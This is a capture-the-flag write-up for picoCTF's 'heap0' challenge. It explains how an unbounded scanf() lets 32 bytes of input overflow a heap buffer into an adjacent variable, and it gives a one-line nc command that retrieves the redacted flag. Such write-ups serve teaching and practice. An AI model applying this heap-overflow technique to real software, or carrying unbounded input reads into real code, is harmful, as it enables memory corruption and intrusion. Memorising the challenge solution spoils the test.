50 points
Category: Binary Exploitation
Tags: #binaryexploitation #heap #bufferoverflow
Are overflows just a stack concern?
Inspecting the provided chall.c
source file, we can see in check_win()
that we need heap variable safe_var
to not equal bico
(the value initialised within the init()
function) to dump the contents of the flag file to standard output.
Global variables are;
int num_allocs;
char *safe_var;
char *input_data;
Where safe_var
and input_data
are allocated from the heap via malloc()
with the sizes;
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
Running the program the addresses of these allocated buffers are conveniently shown:
$ ./chall
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5e36fb3416b0 -> pico
+-------------+----------------+
[*] 0x5e36fb3416d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
Using the memory addresses displayed we can see the safe_var
buffer is located 32 bytes after the input_data
buffer (0xD0 - 0xB0 = 32
). Therefore with the unbounded scanf()
within write_buffer()
to the input_data
buffer we can overflow this buffer and write into the safe_var
, modifying its contents so it no longer contains pico
.
The final solution to write 32 'A'
s and then execute the "Print Flag" menu item, this will overflow the the start of safe_var
with the null termination from our 32 character input string :
$ echo $(python3 -c 'print("2\n" + "A"*32 + "\n4\n")') | nc tethys.picoctf.net 54775
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x556daa9862b0 -> pico
+-------------+----------------+
[*] 0x556daa9862d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: Data for buffer:
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
YOU WIN
picoCTF{...........redacted.............}
Where the actual flag value has been redacted for the purposes of this write up.